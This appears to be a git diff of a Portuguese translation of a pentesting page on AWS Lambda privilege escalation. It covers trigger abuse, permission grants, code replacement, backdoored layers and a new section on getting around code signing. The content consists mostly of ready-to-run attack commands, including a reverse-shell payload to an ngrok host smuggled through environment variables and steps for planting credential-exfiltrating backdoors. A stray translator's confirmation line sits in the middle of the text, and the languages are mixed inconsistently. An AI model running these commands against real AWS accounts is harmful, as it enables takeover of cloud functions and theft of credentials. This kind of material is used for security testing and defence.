Se o DynamoDB já estiver ativo no ambiente AWS, o usuário só **precisa estabelecer o event source mapping** para a função Lambda. No entanto, se o DynamoDB não estiver em uso, o usuário deve **criar uma nova tabela** com streaming habilitado:
|
||||
```bash
|
||||
aws dynamodb create-table --table-name my_table \
|
||||
--attribute-definitions AttributeName=Test,AttributeType=S \
|
||||
@@ -107,22 +107,22 @@ aws dynamodb create-table --table-name my_table \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
|
||||
```
|
||||
Agora é possível **conectar a função Lambda à tabela DynamoDB** criando um **mapeamento de fonte de evento**:
|
||||
Agora é possível **conectar a função Lambda à tabela DynamoDB** ao **criar um event source mapping**:
|
||||
```bash
|
||||
aws lambda create-event-source-mapping --function-name my_function \
|
||||
--event-source-arn <arn_of_dynamodb_table_stream> \
|
||||
--enabled --starting-position LATEST
|
||||
```
|
||||
Com a função Lambda vinculada ao fluxo do DynamoDB, o atacante pode **indiretamente acionar a Lambda ativando o fluxo do DynamoDB**. Isso pode ser realizado **inserindo um item** na tabela do DynamoDB:
|
||||
Com a função Lambda vinculada ao DynamoDB stream, o atacante pode **acionar indiretamente a Lambda ativando o DynamoDB stream**. Isso pode ser feito **inserindo um item** na tabela DynamoDB:
|
||||
```bash
|
||||
aws dynamodb put-item --table-name my_table \
|
||||
--item Test={S="Random string"}
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto para o papel de serviço lambda especificado.
|
||||
**Impacto Potencial:** Privesc direto para o lambda service role especificado.
|
||||
|
||||
### `lambda:AddPermission`
|
||||
|
||||
Um atacante com esta permissão pode **conceder a si mesmo (ou a outros) quaisquer permissões** (isso gera políticas baseadas em recursos para conceder acesso ao recurso):
|
||||
Um atacante com essa permissão pode **conceder a si mesmo (ou a outros) quaisquer permissões** (isso gera políticas baseadas em recurso para conceder acesso ao recurso):
|
||||
```bash
|
||||
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
|
||||
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
|
||||
@@ -130,11 +130,11 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
|
||||
# Invoke the function
|
||||
aws lambda invoke --function-name <func_name> /tmp/outout
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto para o papel de serviço lambda usado ao conceder permissão para modificar o código e executá-lo.
|
||||
**Impacto potencial:** Privesc direto na role de serviço do lambda ao conceder permissão para modificar o código e executá-lo.
|
||||
|
||||
### `lambda:AddLayerVersionPermission`
|
||||
|
||||
Um atacante com essa permissão pode **conceder a si mesmo (ou a outros) a permissão `lambda:GetLayerVersion`**. Ele poderia acessar a camada e procurar por vulnerabilidades ou informações sensíveis.
|
||||
Um atacante com essa permissão pode **conceder a si mesmo (ou a outros) a permissão `lambda:GetLayerVersion`**. Ele poderia acessar a layer e procurar por vulnerabilidades ou informações sensíveis.
|
||||
```bash
|
||||
# Give everyone the permission lambda:GetLayerVersion
|
||||
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
|
||||
@@ -143,10 +143,10 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
|
||||
|
||||
### `lambda:UpdateFunctionCode`
|
||||
|
||||
Usuários que possuem a permissão **`lambda:UpdateFunctionCode`** têm o potencial de **modificar o código de uma função Lambda existente que está vinculada a um papel IAM.**\
|
||||
O atacante pode **modificar o código da lambda para exfiltrar as credenciais IAM**.
|
||||
Usuários que possuem a permissão **`lambda:UpdateFunctionCode`** têm potencial para **modificar o código de uma função Lambda existente que esteja vinculada a um role do IAM.**\
|
||||
O atacante pode **modificar o código da função Lambda para exfiltrar as credenciais IAM**.
|
||||
|
||||
Embora o atacante possa não ter a capacidade direta de invocar a função, se a função Lambda já existir e estiver operacional, é provável que ela seja acionada por meio de fluxos de trabalho ou eventos existentes, facilitando indiretamente a execução do código modificado.
|
||||
Embora o atacante possa não ter a capacidade direta de invocar a função, se a função Lambda já existir e estiver operacional, é provável que ela seja acionada por fluxos de trabalho ou eventos existentes, facilitando assim indiretamente a execução do código modificado.
|
||||
```bash
|
||||
# The zip should contain the lambda code (trick: Download the current one and add your code there)
|
||||
aws lambda update-function-code --function-name target_function \
|
||||
@@ -157,17 +157,17 @@ aws lambda invoke --function-name my_function output.txt
|
||||
|
||||
# If not check if it's exposed in any URL or via an API gateway you could access
|
||||
```
|
||||
**Impacto Potencial:** Privesc direto para o papel de serviço lambda utilizado.
|
||||
**Impacto Potencial:** Direct privesc to the lambda service role used.
|
||||
|
||||
### `lambda:UpdateFunctionConfiguration`
|
||||
|
||||
#### RCE via variáveis de ambiente
|
||||
#### RCE via env variables
|
||||
|
||||
Com essas permissões, é possível adicionar variáveis de ambiente que farão com que o Lambda execute código arbitrário. Por exemplo, em python, é possível abusar das variáveis de ambiente `PYTHONWARNING` e `BROWSER` para fazer um processo python executar comandos arbitrários:
|
||||
Com essa permissão é possível adicionar variáveis de ambiente que farão o Lambda executar código arbitrário. Por exemplo, em python é possível abusar das variáveis de ambiente `PYTHONWARNING` e `BROWSER` para fazer um processo python executar comandos arbitrários:
|
||||
```bash
|
||||
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
|
||||
```
|
||||
Para outras linguagens de script, existem outras variáveis de ambiente que você pode usar. Para mais informações, consulte as subseções de linguagens de script em:
|
||||
Para outras linguagens de script existem outras variáveis de ambiente que você pode usar. Para mais informações, consulte as subseções de linguagens de script em:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
|
||||
@@ -175,9 +175,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc
|
||||
|
||||
#### RCE via Lambda Layers
|
||||
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permite incluir **código** na sua função lambda, mas **armazenando-o separadamente**, para que o código da função possa permanecer pequeno e **várias funções possam compartilhar código**.
|
||||
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permite incluir **code** na sua lambda function mas **armazenando-o separadamente**, de forma que o function code possa permanecer pequeno e **várias funções podem compartilhar code**.
|
||||
|
||||
Dentro do lambda, você pode verificar os caminhos de onde o código python é carregado com uma função como a seguinte:
|
||||
Dentro do lambda você pode verificar os caminhos de onde python code é carregado com uma função como a seguinte:
|
||||
```python
|
||||
import json
|
||||
import sys
|
||||
@@ -198,53 +198,53 @@ Estes são os lugares:
|
||||
9. /opt/python/lib/python3.7/site-packages
|
||||
10. /opt/python
|
||||
|
||||
Por exemplo, a biblioteca boto3 é carregada de `/var/runtime/boto3` (4ª posição).
|
||||
For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
|
||||
|
||||
#### Exploração
|
||||
|
||||
É possível abusar da permissão `lambda:UpdateFunctionConfiguration` para **adicionar uma nova camada** a uma função lambda. Para executar código arbitrário, essa camada precisa conter alguma **biblioteca que a lambda vai importar.** Se você puder ler o código da lambda, poderá encontrar isso facilmente, também note que pode ser possível que a lambda já esteja **usando uma camada** e você poderia **baixar** a camada e **adicionar seu código** lá.
|
||||
É possível abusar da permissão `lambda:UpdateFunctionConfiguration` para **adicionar uma nova layer** a uma função lambda. Para executar código arbitrário, essa layer precisa conter alguma **biblioteca que a lambda vai importar.** Se você puder ler o código da lambda, poderá encontrar isso facilmente; observe também que pode ser possível que a lambda já esteja **usando uma layer** e você possa **baixar** a layer e **adicionar seu código** nela.
|
||||
|
||||
Por exemplo, vamos supor que a lambda esteja usando a biblioteca boto3, isso criará uma camada local com a última versão da biblioteca:
|
||||
Por exemplo, suponha que a lambda esteja usando a biblioteca boto3; isso vai criar uma layer local com a versão mais recente da biblioteca:
|
||||
```bash
|
||||
pip3 install -t ./lambda_layer boto3
|
||||
```
|
||||
Você pode abrir `./lambda_layer/boto3/__init__.py` e **adicionar a backdoor no código global** (uma função para exfiltrar credenciais ou obter um shell reverso, por exemplo).
|
||||
Você pode abrir `./lambda_layer/boto3/__init__.py` e **adicionar o backdoor no código global** (uma função para exfiltrate credentials ou obter um reverse shell, por exemplo).
|
||||
|
||||
Em seguida, compacte o diretório `./lambda_layer` e **faça o upload da nova camada lambda** na sua própria conta (ou na conta da vítima, mas você pode não ter permissões para isso).\
|
||||
Observe que você precisa criar uma pasta python e colocar as bibliotecas lá para substituir /opt/python/boto3. Além disso, a camada precisa ser **compatível com a versão do python** usada pela lambda e, se você fizer o upload para sua conta, precisa estar na **mesma região:**
|
||||
Depois, compacte o diretório `./lambda_layer` em um zip e **upload the new lambda layer** na sua própria conta (ou na conta da vítima, mas você pode não ter permissões para isso).\
|
||||
Note que você precisa criar uma pasta python e colocar as bibliotecas nela para sobrescrever /opt/python/boto3. Além disso, a layer precisa ser **compatible with the python version** usada pela lambda e, se você fizer upload para sua conta, precisa estar na **same region:**
|
||||
```bash
|
||||
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
```
|
||||
Agora, torne a camada lambda **acessível por qualquer conta**:
|
||||
Agora, torne a lambda layer carregada **acessível por qualquer conta**:
|
||||
```bash
|
||||
aws lambda add-layer-version-permission --layer-name boto3 \
|
||||
--version-number 1 --statement-id public \
|
||||
--action lambda:GetLayerVersion --principal *
|
||||
```
|
||||
E anexe a camada lambda à função lambda da vítima:
|
||||
E anexe o lambda layer à victim lambda function:
|
||||
```bash
|
||||
aws lambda update-function-configuration \
|
||||
--function-name <func-name> \
|
||||
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
|
||||
--timeout 300 #5min for rev shells
|
||||
```
|
||||
O próximo passo seria **invocar a função** nós mesmos, se pudermos, ou esperar até que **ela seja invocada** por meios normais – que é o método mais seguro.
|
||||
O próximo passo seria ou **invocar a função** nós mesmos se pudermos ou esperar até que ela **seja invocada** por meios normais — o que é o método mais seguro.
|
||||
|
||||
Uma **maneira mais furtiva de explorar essa vulnerabilidade** pode ser encontrada em:
|
||||
Uma forma **mais furtiva de explorar esta vulnerabilidade** pode ser encontrada em:
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
**Impacto Potencial:** Privesc direto para o papel de serviço lambda usado.
|
||||
**Impacto Potencial:** Privesc direto para o lambda service role usado.
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
|
||||
|
||||
Talvez com essas permissões você consiga criar uma função e executá-la chamando a URL... mas eu não consegui encontrar uma maneira de testar isso, então me avise se você conseguir!
|
||||
Talvez com essas permissões você consiga criar uma function e executá-la chamando a URL... mas não consegui encontrar uma forma de testar isso, então me avise se você conseguir!
|
||||
|
||||
### Lambda MitM
|
||||
|
||||
Algumas lambdas vão estar **recebendo informações sensíveis dos usuários em parâmetros.** Se conseguir RCE em uma delas, você pode exfiltrar as informações que outros usuários estão enviando para ela, confira em:
|
||||
Algumas lambdas vão **receber informações sensíveis dos usuários em parâmetros.** Se conseguir RCE em uma delas, você pode exfiltrar as informações que outros usuários estão enviando para ela, veja em:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
@@ -256,3 +256,62 @@ Algumas lambdas vão estar **recebendo informações sensíveis dos usuários em
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
|
||||
|
||||
If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers.
|
||||
|
||||
Permissões (uma das):
|
||||
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Observações:
|
||||
- Para o Path B, você não precisa de um AWS Signer profile se a política do CSC estiver configurada como `WARN` (unsigned artifacts allowed).
|
||||
|
||||
Passos (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
|
||||
|
||||
Prepare um pequeno payload:
|
||||
```bash
|
||||
cat > handler.py <<'PY'
|
||||
import os, json
|
||||
def lambda_handler(event, context):
|
||||
return {"pwn": True, "env": list(os.environ)[:6]}
|
||||
PY
|
||||
zip backdoor.zip handler.py
|
||||
```
|
||||
Caminho A) Remover CSC e atualizar o código:
|
||||
```bash
|
||||
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
|
||||
if [ "$HAS_CSC" -eq 1 ]; then
|
||||
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
|
||||
fi
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
Caminho B) Rebaixar para Warn e atualizar o código (se delete não for permitido):
|
||||
```bash
|
||||
CSC_ARN=$(aws lambda create-code-signing-config \
|
||||
--description ht-warn-csc \
|
||||
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
|
||||
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
|
||||
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
|
||||
# If the handler name changed, also run:
|
||||
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
|
||||
```
|
||||
Confirmo. Vou traduzir o conteúdo para português mantendo exatamente a mesma sintaxe Markdown/HTML e sem traduzir: código, nomes de técnicas, termos comuns de hacking, nomes de plataformas (AWS, GCP, Workspace, etc.), a palavra "leak", pentesting, links, paths e tags.
|
||||
```bash
|
||||
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
|
||||
cat /tmp/out.json
|
||||
```
|
||||
Impacto potencial: Capacidade de enviar e executar código arbitrário não assinado em uma função que deveria impor implantações assinadas, potencialmente levando à execução de código com as permissões da role da função.
|
||||
|
||||
Limpeza:
|
||||
```bash
|
||||
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
|
||||
```
|
||||
|
||||
|
||||
Reference in New Issue
Block a user